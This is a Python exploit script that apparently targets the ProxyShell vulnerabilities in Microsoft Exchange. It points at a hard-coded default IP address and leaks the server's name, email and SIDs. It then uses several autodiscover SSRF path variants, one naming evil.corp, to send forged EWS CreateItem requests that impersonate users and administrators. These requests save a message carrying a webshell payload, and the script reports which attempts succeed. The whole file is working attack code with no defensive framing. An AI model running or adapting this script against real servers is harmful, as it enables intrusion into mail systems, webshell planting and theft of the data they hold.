#!/usr/bin/env python3
import sys, re, base64, binascii, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

ip = sys.argv[1] if len(sys.argv) > 1 else '179.1.102.69'
ps = P.ProxyShell(f"https://{ip}", timeout=15)
print("fqdn:", ps.get_fqdn())
print("legacydn:", ps.get_legacydn())
print("email:", ps.email)
sid = ps.get_sid(); print("sid:", sid)
payload = P.webshell_payload(); mail = ps.email
subj = P.subj_

def createitem(sidv, ver="Exchange2016"):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="%s"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (ver, sidv, subj, payload, mail)

srand = P.rand_string(8) + "@" + P.rand_string(6) + ".com"
tests = [
    ("msf-ssrf-a", f"/Autodiscover/autodiscover.json?a={srand}/ews/exchange.asmx",
     {"Content-Type": "text/xml;charset=UTF-8", "Cookie": f"Email=Autodiscover/autodiscover.json?a={srand}"}, sid),
    ("msf-ssrf-a-admin", f"/Autodiscover/autodiscover.json?a={srand}/ews/exchange.asmx",
     {"Content-Type": "text/xml;charset=UTF-8", "Cookie": f"Email=Autodiscover/autodiscover.json?a={srand}"}, ps.admin_sid),
    ("auto-ssrf", "/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp",
     {"Content-Type": "text/xml"}, sid),
]
for label, path, hdr, sd in tests:
    url = f"https://{ip}{path}"
    r = requests.post(url, data=createitem(sd), headers=hdr, verify=False, timeout=20, allow_redirects=False)
    print(f"--- {label} status={r.status_code} len={len(r.content)}")
    t = r.text
    if 'ResponseClass="Success"' in t:
        print("    => SUCCESS CreateItem")
    elif 'ErrorTokenSerializationDenied' in t:
        print("    => ErrorTokenSerializationDenied")
    else:
        print("    =>", repr(t[:400]))